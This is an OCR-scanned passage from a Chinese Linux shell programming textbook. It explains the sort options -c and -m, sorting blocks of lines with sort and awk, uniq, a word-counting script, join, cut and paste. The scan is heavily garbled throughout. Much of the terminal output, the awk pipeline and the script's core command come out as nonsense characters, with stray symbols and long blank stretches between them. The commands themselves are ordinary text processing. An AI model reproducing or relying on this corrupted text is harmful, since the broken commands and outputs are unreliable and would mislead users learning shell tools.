7. -Cc 选项 

-c 选项 用 于 测试 文件 是 否 已 经 排 好 序 ， 下 面 给 出 的 例 5-7 演示 了 -c 选项 的 用 法 : 
例 5-7: sort 命令 -c 选项 的 用 法 
第 1 条 命令 : 测试 CARGO .db 是否 按 默认 方式 排序 


reootCzawt ene eroornamlt sore teeCARCo 
EeeEGANREOROo2R oorder: nmeeaa Hongreng O00 2008 .rr400 


重复 记录 已 经 去 除 


站 















































































































































第 2 条 命令 : 测试 SORT CARGO .gb 是 否 按 默认 方式 排序 
EGOCOZamu sel roel sore Ee oP eo 
Som ORT CRE0.00 2 cisorders HPOnmnae 0 2010 DY 

















第 3 条 命令 : 测试 SORT_CARGO. qb 是 否 按 第 3 域 的 数值 大 小 排序 














元 中 华 清 远见 教育 集团 官网 :www. hayj. com 






































《Linux Shell 编程 从 初学 到 精通 》 


Looeuazawus he Peo so EE En ot 
[root@zawu shell-program]# 


例 5-7 的 第 1 条 命令 测试 CARGO.db 是 否 按 默 认 方式 排序 , Shell 提示 “sort: CARGO.db:2: 
disorder: ThinkPad:HongKong:10000:2008:T400” 这 说 明 CARGO.db 未 排序 ，Shell 提示 信息 
中 包含 了 该 文件 中 第 1 条 未 排序 的 记录 ; 第 2 条 命令 测试 SORT_CARGO.db 是 否 按 默认 方式 
排序 ， 当 然 该 文件 也 未 排序 ， 第 3 条 命令 测试 SORT_CARGO.db 是 否 按 第 3 域 的 数值 大 小 排 
序 ， 显 然 ， 按 这 种 方式 SORT_ CARGO.db 已 经 排 好 序 ，Shell 不 提示 任何 信息 。 

8. -m 选项 

-m 选项 用 于 将 两 个 排 好 序 的 文件 合并 成 一 个 排 好 序 的 文件 , 在 文件 合并 前 ,它们 必须 已 
经 排 好 序 。-m 选项 对 未 排序 的 文件 合并 是 没有 任何 意义 的 ， 下 面 通过 一 个 例子 来 说 明 -m 选 








































































































项 的 效果 : 
# 例 5-8: sort 命令 -m 选项 的 用 法 
[root@zawu shell-program]# cat CARGO2.db # 查 看 CARGO2 . db 文件 


DERUSA S700.2000 -XES 
MACBOOK:USA:10198:2010:MB991ZP/A 
[root@zawu shell-program]# cat SORT CARGO.db # 查 看 SORT CARGO. qb 文件 
Acer:Taiwan:8000:2010:PT210 

HPC numa 20 2200 NESOe 

EPChlna sso00: a0 DMS 

IdeaPad:China:8000:2007:U450 

sumsung:Korea:Ss400:2009:06308 

Tumkpad onemone 0 20008 T4400 

Tmkpad us A40002009 -x301 

am pal 8000 .200 :50 

[root@zawu shell-program]# sort -t: -m CARGO2.db SORT CARGO.db # 合 并 两 个 文件 
Acer:Taiwan:8000:2010:PT210 

DELL:USA:6700:2009:XPS # 来 自 于 CARGO2 . db 文件 
HP: Cnina. 12000:2010:NES08 

e-emna: os00.2010-0MS 

deaPad:China:8000:2007:U450 

MACBOOK:USA:10198:2010:MB991ZP/A # 来 自 于 CARGO2 .db 文件 
sumsung:Korea: S400:2009-:06308 

Tmkpad omemene 000 0 2008 2400 

mhrmRpada Usa A0002000=X301 

ThinkpPad: USsaA 8000:2007 :X60 

root@zawu shell-program]# 


列 5-8 首先 创建 了 两 个 文件 ， CARGO2.db 和 SORT CARGO.db， 这 两 个 文件 都 按 第 1 域 排 
好 序 ， 然 后 ， 使 用 -m 选项 将 这 两 个 文件 合并 ， 得 到 两 个 文件 的 记录 合并 到 一 起 的 结果 ， 但 是 ， 
结果 中 的 记录 仍 按 第 1 域 排 好 序 ,CARGO2.db 文 件 的 两 条 记录 被 有 序 地 插 到 了 SORT_CARGO.db 
文件 的 记录 中 。 

sort 命令 的 选项 远 不 止 本 节 所 介绍 的 内 容 ， 但 是 ， 由 于 新 版 本 的 sort 命令 删 挤 了 很 多 选 
项 的 功能 ， 而 且 本 节 介 绍 的 是 最 常用 的 选项 。 因 此 ， 本 节 就 不 再 介绍 sort 命令 的 其 他 选项 。 


5.1.2 sort 和 awk 的 联合 用 法 


sort 和 awk 都 是 分 域 处 理 文件 的 工具 ， 两 者 结合 起 来 可 以 有 效 地 对 文本 块 进行 排序 。 文 
本 块 是 指 由 多 行 记录 组 合 而 成 的 数据 块 ， 如 下 面 的 文件 : 
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使 用 sort 命令 是 
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[root@zawu shell-program]# cat PROFESSOR.db 








每 个 文件 块 


站 








姓名 、 学 校 名 和 地 址 组 成 





d Tus 











Southeast University 
Nene Ce ha 


Y Zhang 
ee Un ess 
Melbourne, Australia 


D Hou 
Bedjino Unnveretey 
Belgine Cea 


Bl 
Shanghai Jiaotong University 
Sinemelan Cnra 


CJ) 

University of Toronto 
Toronto,Canada 

[root@zawu shell-program]# 

















PROFESSOR.db 中 每 个 文件 块 记录 了 一 位 教授 的 信息 ， 由 三 行 组 成 : 第 1 行 是 姓名 、 第 
是 学 校 名 、 第 3 行 是 学 校 所 处 的 城市 和 国家 。 如 果 需 要 根据 姓名 对 文件 块 进行 排序 ， 仅 
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# 例 5-9: 利用 sort 和 awk 实现 文件 块 的 排序 
[root@zawu shell-program]# cat PROFESSOR.db | 





| # 将 每 个 文件 块 合并 到 一 行 


以 实现 的 , 我 们 通过 结合 使 用 sort 和 -awk 来 实现 这 一 














功能 , 如 例 5-9 所 示 : 





Someal # 对 每 行 的 记录 排序 
Gm 7 ORS Tw Cn se GN # 将 排序 后 的 行 分 块 打印 


By ube 
shanghad J raotono Unnvereley 
Shanghai,China 


(Oe Le 
Umavensut ry oe Domes 
Toronto,Canada 


D Hou 
Beijing University 
Be me Ch 


J Luo 
Southeast University 
Namaitne Chme 


Y Zhang 
We tory Un es Ey 


Melbourne, Australia 


[root@zawu shell-program]# 














例 5-9 的 命令 看 起 来 很 复杂 ， 由 4 条 命令 和 3 个 管道 符 组 成 ,cat 命令 将 PROFESSOR.db 
F 的 内 容 作 为 第 1 条 awk 命令 的 输入 数据 ， 该 awk 命令 将 每 个 文件 块 合 并 到 一 行 ， 并 用 





文 们 























昌 
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gsub 函数 将 换行 符 赫 换 成 @ 符 号 ， 例 如 ，PROFESSOR.db 的 第 1 个 文件 块 将 变 为 “J Luo@ 
Southeast University@Nanjing,China@ ”，sort 命令 对 这 种 格式 的 记录 进行 排序 ， 默 认 以 第 1 域 
排序 ， 即 姓名 的 字母 顺序 ， 并 将 排序 后 的 行 作为 第 2 条 awk 命令 的 输入 数据 ,第 2 条 awk 命 
令 执 行 与 第 1 条 awk 相反 的 功能 ， 它 将 并 为 一 行 的 数据 划分 为 类 似 于 PROFESSOR.db 中 的 
文件 块 输出 ， 实 现 方法 是 用 gusb 函数 将 @ 符 号 替换 成 换行 符 。 上 述 命令 得 到 根据 姓名 的 字母 
顺序 排 好 序 的 文件 块 。 

sort 命令 是 Linux 中 经 常 使 用 的 命令 之 一 ， 从 上 面 两 节 的 介绍 来 看 ，sort 的 功能 强大 ， 且 
用 法 十 分 灵活 ， 因 篇 幅 所 限 ， 我 们 对 sort 命令 的 介绍 就 到 此 为 止 。 读 者 若 需 了 解 sort 的 更 多 
用 法 ， 可 在 Shell 中 输入 man sort， 参 考 Linux 系统 中 sort 命令 的 manual page。 


S22 unig 命令 人 






















































































uniq 命令 用 于 去 除 文本 文件 中 的 重复 行 ， 这 类 似 于 sort 命令 的 -u 选项， 但 是 ，unid 命令 
和 sort -u 是 存在 一 些 区 别 的 ， 请 看 下 面 的 示例 : 
例 5-10: unig 命令 的 基本 用 法 
root@zawu shell-program]# cat CARGO3.db 
Thinkpad Us A4000.20090 -xXx30 
Thinkpad Usa 4000 "20090:350d 
Thamkpad Usa lA40002009:>x301 
HP:China:os600:2010:DM3 
Sumsung :Korea:S400.:2009:0308 
ThinkPad:USA:14000:2009:X301 # 隔 了 几 行 ， 再 重复 一 次 
deaPad:China:8000:2007:U450 
Acer:Taiwan:8000:2010:PT210 
Acer:Taiwan:8000:2010:PT210 



































root@zawu shell-program]# uniq CARGO3.db 用 unid 命令 去 除 重复 行 
ThinkPad:USA:14000:2009:X301 已 经 去 除 重 复 行 





EeeChina: son 2200"DMS 
SumSung:Korea:5400:2009:08308 
ThinkPad:USA:14000:2009:X301 该 行 没 有 被 去 除 
deaPad:China:8000:2007:U450 
Nee Malwan: S000 2010. PT210 
root@zawu shell-program]# sort -u CARGO3.db 用 sort -u 去 除 重复 行 
Noer: lanwan: S000:.2010-. PT210 

HE -Chm e000- 20L0 -DMS 

deaPad:China:8000:2007:U450 

SumSung:Korea:5400:2009:Q308 

ThinkPad:USA:14000:2009:X301 # 所 有 的 重复 行 都 被 去 除 
root@zawu shell-program]# 


CARGO3.db 文件 中 的 “ThinkPad:USA:14000:2009:X301” 记 录 先 重复 三 次 , 隔 开 两 行 后 ， 
该 行 重复 出 现 一 次 ， 用 unid 命令 去 除 CARGO3.db 文件 重复 行 后 发 现 ， 连 续 出 现 的 三 条 重复 
“ThinkPad:USA:14000:2009:X301” 记 录 仅 剩 下 一 条 ， 而 隔 开 两 行 出 现 的 该 记录 却 未 被 去 除 ， 
而 用 sort -u 命令 时 ， 所 有 的 重复 记录 都 被 去 挤 。 因 此 ，uniq 命令 去 除 的 重复 行 必须 是 连续 重 
复出 现 的 行 ， 中 间 不 能 夹杂 任何 其 他 文本 行 。 
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unid 命令 有 3 个 选项 ， 














我 们 将 uniq 命令 选项 及 其 总 


表 5-2 uniq 命令 选项 及 其 意义 


义 列 于 表 5-2 中 





o 








重复 出 现 的 次 数 


























:， 每 个 重复 记录 只 出 现 一 次 

















复 的 i 


出 现 





uniq 命 


# 例 5- 


3 








SA: 


SA: 











H 令 的 -c 选项 打印 每 行 在 文本 中 重复 出 现 的 次 数 ， 
1: unig 命令 -c 选项 的 用 
[root@zawu shell-program] 
ThinkPad:U 
ee Cn na es Oe 2 Oe MS 

sumsung:Korea:5400:2009:0308 
ThinkPad:U 
[deaPad:China:8000:2007:U450 


法 
naicd eq eARGOS a 
AO OYE E20 





Bao: 2000 :>e0. 


ZAcer. Palwans eo00.20n0. eT210 
[root@zawu shell-program]# 





例 5-10 


其 


2 次 ， 其 
命令 


uniq 命令 

















nam ac 


的 命令 列 出 了 CARGO3.db 文件 
14000:2009:X301” 先 出 现 3 次 , 隔 
也 记录 都 出 现 1 次 。 
的 -d 和 -u 选项 正好 相 
己 录 ， 下 面 的 例 5-12 说 明了 这 两 个 选项 的 意义 : 
例 5-12: unig 命 


root@zawu shel 


Acer:Taiwan:8000:2010:PT2 





root@zawu she] 











令 -m 选项 的 
Breooraml 
USA:14000:2009:X301 


加 全 os 
Eeeas au 六 OPDMS 
SumSung:Korea:5400:2009:Q308 
ek Bae SA AU O09 0 
[deaPad:China:8000:2007:U450 
root@zawu shell-program]# 























网 行 ,各 

















反 ，-d 选项 











用 法 
muon = eeARCOS de 





0 
Une USARCGOSSo 
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» 





下 古 

















人 N 





用 于 显示 有 重复 的 记录 ， 而 -u 选项 





一 个 例子 来 说 明 上 





显 


# 显 示 有 重复 的 记录 





# 显 示 没 有 重复 的 记录 




















Ph 每 个 记录 所 出 现 的 次 数 , 记录 “ThinkPad:USA: 
出 现 工 次 , 而 记录 “Acer:Taiwan:8000:2010:PT210” 


示 没 有 重 


uniq -d 显示 了 CARGO3.db 文件 的 重复 记录 ， 有 2 条 ， 每 条 显示 1 次 ; 而 uniq -u 显示 了 























CARGO3.db 文件 没有 习 
录 是 指 隔 开 两 行 又 出 现 的 那 条 记录 。 

















下 面 给 出 一 个 脚本 ， 这 个 脚本 结合 
出 现 的 次 数 ， 这 个 脚本 的 名 字 是 count_word.sh， 内 容 如 下 : 


























#count_word.sh: 该 脚本 统计 文件 中 单词 出 现 的 次 数 


#!/bin/bash 


ARGS=1 
E BADARGS=55 
E NOFILE=56 


# 以 下 的 i£/then 结构 用 于 判断 执行 脚本 时 


# 如 果 未 带 输 入 参数 


， 则 返 








有 示 坦 : 
十 合 市 








日 





55 错误 码 








E 复 的 行 ， 有 4 条 记录 ， 其 中 的 “ThinkPad:USA:14000:2009:X301” 记 











使 用 sort 和 uniq 命令 ， 可 以 统计 一 个 文件 内 


了 输入 参数 〈 即 需要 统计 的 文件 名 ) 
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远见 教 
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if [ $# -ne "$ARGS" ] 

then 
echo "Usage: 'basename $0' filename" 
exit $E BADARGS 

皇上 业 











# 以 下 的 i£/then 结构 用 于 判断 在 当前 目录 下 ， 和 输入 的 文件 名 是 否 存在 
# 若 该 文件 不 存在 ， 则 返回 56 错误 码 
eS Wn] 
then 
echno"pile NN does not exitse 
exit $eE NOFTLE 
下 








# 以 下 是 统计 文件 单词 数 的 核心 命令 

# sed 命令 用 于 过 滤 句 号、 有 逗号 、 分 号 ， 当 然 可 继续 加 上 需要 过 滤 的 符号 

#sed 命令 的 第 4 个 -e 选项 将 单词 间 的 空格 转化 为 换行 符 

#sort 对 sed 过 滤 后 的 结果 排序 ， 每 行 一 个 单词 

#uniq -c 输出 重复 行 出 现 的 次 数 ，sort -nr 按照 出 现 频率 从 大 到 小 排序 

SS em /Sy /ee es 

















exit 0 
count_word.sh 脚本 使 用 了 多 种 Shell 编程 技巧 ， 未 读 后 续 章 节 的 读者 可 能 很 难 全 部 理解 
该 脚本 ， 但 是 ， 并 不 影响 理解 统计 文件 单词 数 的 核心 命令 。 我 们 对 两 个 if/then 结构 的 功能 作 
简单 介绍 ， 但 不 介绍 其 原理 。count word.sh 脚本 运行 时 需要 加 上 一 个 参数 ， 该 参数 表示 待 统 
计 单 词 出 现 频率 的 文件 名 , 因此 , 第 1 个 if/then 结构 用 于 判断 执行 脚本 时 是 否 带 了 输入 参数 ， 
若 未 带 输入 参数 ， 则 返回 55 错误 码 ; 第 2 个 if/then 结构 用 于 判断 在 当前 目录 下 ， 输 入 的 文 
件 名 是 否 存 在 ， 若 该 文件 不 存在 ， 则 返回 56 错误 码 。 这 两 个 if/then 结构 只 是 对 脚本 执行 的 
异常 情况 进行 处 理 , 真正 用 于 统计 文件 单词 出 现 频 率 的 命令 只 有 一 条 , 它 由 sed、 sort、 uniq -c 
和 sort -nr 四 个 命令 组 成 ， 前 面 命令 的 输出 作为 后 面 命令 的 输入 ，sed 命令 的 前 三 个 -e 选项 用 
于 过 小 掉 句 号、 和 逗号、 分 号 ,当然 可 继续 加 上 需要 过 滤 的 符 写 (只 需 多 加 一 个 类 似 的 -e 选项 
即 可 )，sed 命令 的 第 4 个 -e 选项 将 单词 间 的 空格 转化 为 换行 符 ， 这 就 将 每 个 单词 单独 一 行 显 
示 ， 便 于 sort 命令 排序 。 经 过 sed 命令 处 理 后 ，sort 对 行进 行 排序 ， 同 一 个 单词 必定 出 现在 
连续 行 , uniq -c 输出 重复 行 的 次 数 , 即 该 单词 重复 出 现 的 次 数 。 由 于 uniq -c 的 输出 结果 是 “次 
数 单词 ”格式 ，sort -nr 对 第 1 域 〈 即 单词 出 现 的 次 数 ) 进行 排序 ， 并 倒置 ， 使 得 出 现 次 数 
多 的 单词 排 在 最 前 面 。 下 面 给 出 count_word.sh 脚本 的 执行 结果 : 
count word.sh 脚本 的 执行 结果 
5 


root@zawu shell-program]# ./count word.sh 
Usage eounen era nor menane 
















































































































































































































































































































































































count_word. sh 带 的 文件 名 不 存在 
root@zawu shell-program]# ./count word.sh hh 

Erle hn does not exnese 

root@zawu shell-program]# cat WORDLIST # 查 看 WORDLIST 内 容 
hnelleo careal world: watehn vorlad eareadnhnello message 

message world watch hello into the he she last into. 

Jast save hello caicai, world: message. 
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# 统 计 出 WORDLIST 中 所 有 的 单词 出 现 的 次 数 
[root@zawu shell-program]# ./count word.sh WORDLIST 
4 world #world 单词 出 现 4 次 ， 以 下 行 的 意义 类 似 此 行 
hello 
message 














Sanea 
watch 
Was 
ee 
the 
she 


a 2 I 


save 
ee 
[root@zawu shell-program]# 


上 面 首先 给 出 count_word.sh 寞 常情 况 的 执行 结果 。 再 给 出 用 count word.sh 统计 
WORDLIST 中 所 有 单词 出 现 的 次 数 ，WORDLIST 包含 若干 单词 ， 以 及 名 号、 逗号 和 分 号 等 标 
点 符号 。 从 结果 可 以 看 到 ， 这 些 标点 符号 被 过 滤 掉 ， 单 词 及 其 出 现 频率 按 从 大 到 小 顺序 输出 。 


join 命令 | 


join 命令 用 于 实现 两 个 文件 中 记录 的 连接 操作 , “连接 操作 是 关系 数据 库 中 的 概念 ， 在 此 
我 们 不 作 正式 的 定义 ， 简 言 之 ， 连 接 操作 将 两 个 文件 中 具有 相同 域 的 记录 选择 出 来 ， 再 将 这 
些 记 录 所 有 的 域 放 到 一 行 ( 包 含 来 自 两 个 文件 的 所 有 域 )。 首 先 ， 我 们 通过 一 个 例子 来 观察 
join 命令 的 效果 : 

# 例 5-13: join 命令 的 基本 用 法 
root@zawu shell-program]# cat TEACHER.db 





















































































































































[ 

Bo ea el Naoteonon uve Sam Ohne 
CU or loronto roronto lanaea 

DHon Pern Un vr LE ye ne Ca 

ym Scoutcneast Un enet an Ch 

Y Zhang:Victory University:Melbourne:Australia 
[root@zawu shell-program]# cat TEACHER HOBBY .db 

B Liu:Tea 
@ 
可 
Q 
YY 
2 








ne SOme 

Coao: Pngeeng 

Co Snopeaao 
Zhang:Photograhy 
Wu:Chess 











# 下 面 执行 join 操作 ， 将 域 分 隔 符 改 成 冒号 
[eotezawn shell programlt olm E:ThACGHERS dD PRACHERNHOBBY .dD 
Booman econo Uv er naa emerese 














Cl un er or loonto nronton oma ne 
Y Zhang:Victory University:Melbourne:Australia:Photograhy 
[root@zawu shell-program]# 


例 5-13 中 有 两 个 文件 ，TEACHER.db 文件 的 记录 包含 4 个 域 , 分 别 是 姓名 、 学 校 、 城 市 
和 国家 ，TEACHER_HOBBY.db 文件 的 记录 只 有 2 个 域 ， 是 姓名 和 爱好 。 这 两 个 文件 是 已 排 
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序 的 ，join 命令 只 能 对 已 排序 的 文件 进行 操作 ， 对 这 两 个 文件 执行 join 命令 后 ， 出 现 3 条 记 
录 ， 如 :“B Liu:Shanghai Jiaotong University:Shanghai:China:Tea” 记 录 ， 包 含 5 个 域 , 第 1 个 
域 是 两 个 文件 的 共同 域 ， 第 2 一 4 个 域 来 自 TEACHER.db 文件 ， 第 5 个 域 来 自 
TEACHER_HOBBY.db 文件 ，join 命令 使 得 具有 共同 域 B Liu 的 两 条 记录 连接 到 了 一 起 。 上 
例 中 join 命令 后 跟 -t 选项 ， 与 sort 命令 一 样 ，-t 选项 用 于 改变 分 隔 符 ， 除 了 - 选项，join 命令 
还 有 很 多 其 他 选项 ， 如 表 5-3 所 示 。 

































































表 5-3 join 命令 选项 及 其 意义 


选 项 





除了 显示 以 共同 域 进行 连接 的 结果 外 ，-al 表示 还 显示 第 1 个 文件 中 没有 共同 域 的 记录 ，-a2 则 表示 显示 第 
个 文件 中 没有 共同 域 的 记录 


比较 域内 容 时 ， 忽 略 大 小 写 差 异 
设置 结果 显示 的 格式 

改变 域 分 隔 符 
-V1 或 -v2 与 -a 选项 类 似 ， ， 不 显示 以 共同 域 进行 连接 的 结果 


-1 和 -2 -1 用 于 设置 文件 1 用 于 连接 的 域 ，-2 用 于 设置 文件 2 用 于 连接 的 域 





-al 或 -a2 

































































join 命令 的 基本 语法 为 : 

eo 

1. -a 和 -v 选项 

当 两 个 文件 进行 连接 时 ， 文 件 1 中 的 记录 可 能 在 文件 2 中 找 不 到 共同 域 ， 反 过 来 ， 文 件 
2 中 也 可 能 存在 文件 1 中 找 不 到 共同 域 的 记录 ，join 命令 的 结果 默认 是 不 显示 这 些 未 进行 连 
接 的 记录 的 。-a 和 -v 选项 就 是 用 于 显示 这 些 未 进行 连接 的 记录 ，-al 和 -v1 指 显示 文件 1 中 未 
连接 的 记录 ， 而 -a2 和 -v2 指 显示 文件 2 中 的 未 连接 记录 。-a 和 -v 选项 的 区 别 在 于 : -a 选项 
示 以 共同 域 进 行 连接 的 结果 ， 而 六 选项 则 不 显示 这 些 记录 。 

首先 ， 我 们 举例 说 明 -a 选项 ， 例 子 还 是 用 到 TEACHER.db 和 TEACHER_HOBBY.db 两 
个 文件 。 
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# 例 5-14: join 命令 -a 选项 的 用 法 

eeeoeazawoshell rocamli nn 0 EACHER dN IEACHERDIEOEBEY: ds 
Brm:snangna ctong Universvey: nangharn:Cnimna: lea 

qbm Unavens yo loronteo lomo ean Ong 

D Hou:Beijing University:Beijing:China 未 进行 连接 的 文件 1 中 的 记录 
Tuo SoUucnease Un ry :Nan ema 未 进行 连接 的 文件 1 中 的 记录 
2ang: Vioeteory Unnversiey Mleouene. AS 局 EECECSESY 

[eeootOzawuyshell Brograrnmli lm :0 3 TEACHER A IEACHIERIE OBEY os 
ELShnangha iaoEono universrey hanchan enna ea 

CUnaeesa or Lloroneeo neroneo Ganada oe 

J Cao:Pingpong 未 进行 连接 的 文件 2 中 的 记录 
Ocean 未 进行 连接 的 文件 2 中 的 记录 
vzhang:Victory Unversity:Melbourne- AUSstrealia: photogrEany 

ZW Cneses 未 进行 连接 的 文件 2 中 的 记录 

















[root@zawu shell-program]# 


例 5-14 的 两 条 命令 分 别 用 -al 和 -a2 对 TEACHER.db 和 TEACHER HOBBY.db 进行 连接 ， 





Er 











结果 除了 显示 成 功 连接 的 记录 之 外 ， 还 分 别 显 示 TEACHER.db 和 TEACHER_HOBBY.db 中 
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未 进行 连接 的 记录 。 如 果 要 同时 显示 两 个 文件 中 未 进行 连接 的 记录 ，join 命令 可 以 同时 带 上 
-al 和 -a2 两 个 选项 。 

然后 ， 我 们 再 举 一 个 -v 选项 的 例子 ， 从 而 得 出 -a 选项 和 -v 选项 的 区 别 : 
例 5-15: join 命令 -v 选项 的 用 法 

reotQrawu sien ro om EAGER AC HB Nells 
D Hou:Beijing University:Beijing:China # 只 显示 未 进行 连接 的 文件 1 中 的 记录 
WUe seulneast un ees Ey Nan na 
rootomowunonel norenml om voEACHIER LACHERMIOBeY el 
J Cao:Pingpong # 只 显示 未 进行 连接 的 文件 2 中 的 记录 
cs nopele 

ZWu: Chess 

[root@zawu shell-program]# 


比较 例 5-14 和 例 5-15，-a 选项 和 -v 选项 的 区 别 显而易见 ，-v 选项 只 显示 两 个 文件 中 未 
进行 连接 的 记录 。 

2. -0 选项 

join 命令 默认 显示 连接 记录 在 两 个 文件 中 的 所 有 域 ， 而 且 是 按 顺 序 来 显示 的 。-o 选项 用 
于 改变 结果 显示 的 格式 ， 我 们 可 以 指定 显示 哪儿 个 域 、 按 什么 顺序 显示 这 些 域 。 下 面 举 一 个 
-0 选项 的 例子 : 

# 例 5-16: join 命令 -o 选项 的 用 法 

Beettewte ne ereonamlh On :ou 2 2 TACHER TEACHEREOBEY Nell 

BeriuLea San Laot on Uv su 

Cl on Un rs Ey ois ne 


vanme poto a ee .Uni nse 
[root@zawu shell-program]# 


例 5-16 命令 中 使 用 了 选项 “-o1.12.21.2”， 这 表示 显示 格式 依次 显示 第 1 个 文件 中 的 第 
1 个 域 、 第 2 个 文件 的 第 2 个 域 、 第 1 个 文件 的 第 2 个 域 ,结果 确实 显示 了 三 个 域 ， 即 姓名 、 
爱好 和 学 校 。 

3. -1 和 -2 选项 

join 命令 默认 比较 文件 1 和 文件 2 的 第 1 域 ， 如 果 我 们 需要 通过 其 他 域 进行 连接 ， 就 需 
要 使 用 -1 和 -2 选项 ，-1 用 于 设置 文件 1 用 于 连接 的 域 ，-2 用 于 设置 文件 2 用 于 连接 的 域 。 下 
面 举 一 个 例子 说 明 这 两 个 选项 的 用 法 : 
# 例 5-17: join 命令 -1 和 -2 选项 的 用 法 
[root@zawu shell-program]# cat AREACODE .db # 查 看 AREACODE . db 文件 内 容 
BEIJING:86010 
HONGKONG :852 


SHANGHAI:86021 
TORONTO:001416 
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对 TEACHER .db 按 第 3 域 排序 ， 并 将 结果 存储 到 TEACHER1 .db 文件 
EQo Ezanm en ereormlt er 0 kT Ae 
root@zawu shell-program]# cat TEACHER1 .db # 查 看 TEACHER1 . db 文件 内 容 





# 
[ 
[ 
Dodou pe ne Un rs Ey ere Ch a 

Ymnanmc victory Unversity Mol on st ale 

yueo Souneast un verse Nene na 
Bolen oon Un st eu na 
@ 





Dm un ve or Ln nrontor can 




















# 以 文件 1 的 第 3 域 和 文件 2 的 第 1 域 进行 连接 ， 并 忽略 大 小 写 
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Lee Ozames hel oro eam mE: A ARACODE el 
Benine: Diou: Belino Universaey hina do 

shanghan:poLriu: snanghandiaor on niversmey China e020 

Menonto em Una Nornonton eanaa As 


lootezawo se Buograrl 

在 上 面 的 例 5-17 中 ， 新 建 了 AREACODE.db 文件 ， 其 中 存放 了 城市 及 其 地 区 码 。 
TEACHER.db 的 第 3 域 是 城市 名 ， 为 了 将 TEACHER.db 的 城市 名 与 AREACODE.db 的 城市 名 
进行 连接 ， 首 先 要 将 TEACHER.db 按 城市 名 排序 ， 并 将 排序 结果 保存 到 TEACHER1.db 文件 。 
然后 ，join 命令 使 用 “-1 3 -2 1” 选 项 指定 用 于 连接 的 域 ,“-1 3” 表 示 文 件 1 的 第 3 域 ， 同 理 ， 
“-2 1” 表 示 文 件 2 的 第 1 域 。 由 于 AREACODE.db 的 城市 名 是 大 写字 母 ， 因 此 ，join 命令 带 上 
i 选项 表示 在 比较 域 时 忽略 大 小 写 ，join 的 结果 显示 出 城市 名 、 姓 名 、 学 校 、 国 家 和 地 区 码 。 
如 果 我 们 不 将 TEACHER.db 按 第 3 域 排序 ， 直接 进行 join 操作 , 会 出 现 什么 结果 呢 ? 请 
看 下 面 的 例 5-18: 


# 例 5-18: TEACHER .db 未 排序 ，join 命令 的 出 错 信 息 
本 So oam ueshel ro am ln EA EACODES oe 
shnangham: pL snanghan la on nivers ney Enae 0 

Jouae Tile 1 ts nos Ii sorsec ors # 出 错 ， 文 件 1 未 排序 
monroeomeor em ni ln or noromo amada. O04e 


a ne i 邻 出错， 提示 文 件 1 未 排 
序 。 因 此 ，join 命令 在 对 两 个 文件 进行 连接 时 ， 丙 个 文件 必须 都 是 按照 过 接 域 排 好 序 的 ， 按 
其 他 域 排 序 是 无 效 的 。 


5.4 cut 命 合 人 


cut 命令 用 于 从 标准 输入 或 文本 文件 中 按 域 或 行 提取 文本 ，cut 命令 的 基本 格式 为 : 
cu 


cut 命令 的 选项 及 其 意义 列 于 表 5-4 中 。 


表 5-4 cut 命令 选项 及 其 意义 
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下 





























指定 提取 的 字符 数 或 字符 范围 





改变 域 分 隔 符 








cut 命令 的 选项 仅 有 三 个 ，-e 用 于 按 字 符 提取 文本 ， 了 用 于 按 域 提取 文本 ，-d 类 似 于 sort 
和 join 命令 的 -t 选项 ， 用 于 改变 域 分 隅 符 。 下 面 通过 几 个 例子 来 介绍 cut 命令 的 用 法 。 首 先 
给 出 例 5-19: 

例 5-19: cut 命令 -c 选项 的 用 法 


TEACHER. db 文件 同 例 5-13 
root@jselab shell-book]# cut -c3 TEACHER.db # 提 取 TEACHER .db 的 第 3 个 字符 
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L 
2 
[ 
B 
C 
D 
本 
0 
[ 


例 5-19 演示 了 cut 命令 的 -c 选项 ， 


root@jselab shell-book]# cut -cl-5 TEACHER.db 
Liu 


Hou 
Luo 
Zha 
root@jselab shell-book]# 





# 提 取 TEACHER. qdb 的 第 1 一 5 个 字符 





-c3 表示 提取 TEACHER.db 的 第 3 个 字符 ，-c1-5 表示 

















提取 TEACHER.db 的 第 1 一 $ 个 字符 。-c 后 跟 数 字 表 示 字 符 数 或 字符 范围 , 共有 三 种 表示 方式 : 





Zz 友人 夺 





@ -cn 表示 第 n 个 字符 ，@ -cn,m 表示 第 na 个 字符 和 第 m 个 字符 ; @ -cn-m 表示 第 n 个 字符 
到 第 m 个 字符 。 由 于 -c 选项 是 按 字 符 提取 文本 的 ， 因 此 ， 无 须 使 用 -d 改变 域 分 隔 符 ， 但 是 ， 








当 使 用 -f 按 域 提取 文本 时 , 就 需要 使 用 -d 根据 实际 文本 来 设 ; 


# 


[ 
B 
可 
D 
J 
这 

[ 
B 
GS 
D 
加 
人 

[ 


例 $-20 通 























例 5-20: cut 命令 -d 和 -f 选项 的 用 法 

rootonselab snel oot or Fl A TRACHERR 
Bab vs 

Lin:Canada 

Hou eh 

WE 

Zhang:Australia 

nootenselal shnell oo oute ce EL 3 LACHER 
Liu:Shanghai yiaotong University:Shanghai 





[TUT Sy En Ln 


Hou:Beijing University:Beijing 








Luo:Southeast University:NanJjing 
zhang:Victory University:Melbourne 
root@jselab shell-book]# 















































枉 域 分 隔 符 了 , 请 看 下 面 的 例 5-20: 














提取 TEACHER.db 的 第 1 域 和 第 4 域 


# 提 取 TEACHER .db 的 第 1 一 3 域 





过 cut 命令 的 并 选 项 按 域 提取 TEACHER.db 的 文本 ，-f 与 -c 选项 一 样 ， 同 样 可 


以 用 三 种 方式 指定 域 数 或 域 范围 , 例 5-19 中 -fl4 表示 提取 TEACHER.db 的 第 1 域 和 第 4 域 ， 


-f1-3 表示 提取 TEACHER.db 的 第 1 一 3 域 。 同 时 ， 例 5-20 利用 -d 选项 改变 域 分 隔 符 。 
内 容 , 它 默 认 将 提取 的 内 容 放 到 标准 输出 上 ,如果 


重 定向 来 实现 。 


cut 命令 可 以 灵活 地 提取 文本 文件 中 的 
要 将 提取 的 内 容 保存 到 文件 ， 可 以 使 用 文 伯 


paste 命 命 


EF 或 标准 输出 中 的 内 容 粘贴 到 新 的 文件 , 它 可 以 将 来 自 不 同文 件 





Pp 


I 














aste 命令 用 于 将 文本 文 伯 





的 数据 粘贴 到 一 起 ， 形 成 新 的 文件 。paste 命令 的 基本 格式 


paste [选项 ] 文件 1 文件 2 














paste 命令 有 三 个 选项 ， 其 含义 如 表 5-5 所 示 。 


表 5-5 paste 命令 选项 及 其 意义 


是 : 
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将 每 个 文件 粘贴 成 一 行 



































标准 输入 中 读 取 数据 
下 面 通过 几 个 例子 来 说 明 paste 命令 的 用 法 ， 首 先 给 出 例 5-21， 它 演示 了 paste 命令 最 简 
单 的 用 法 : 
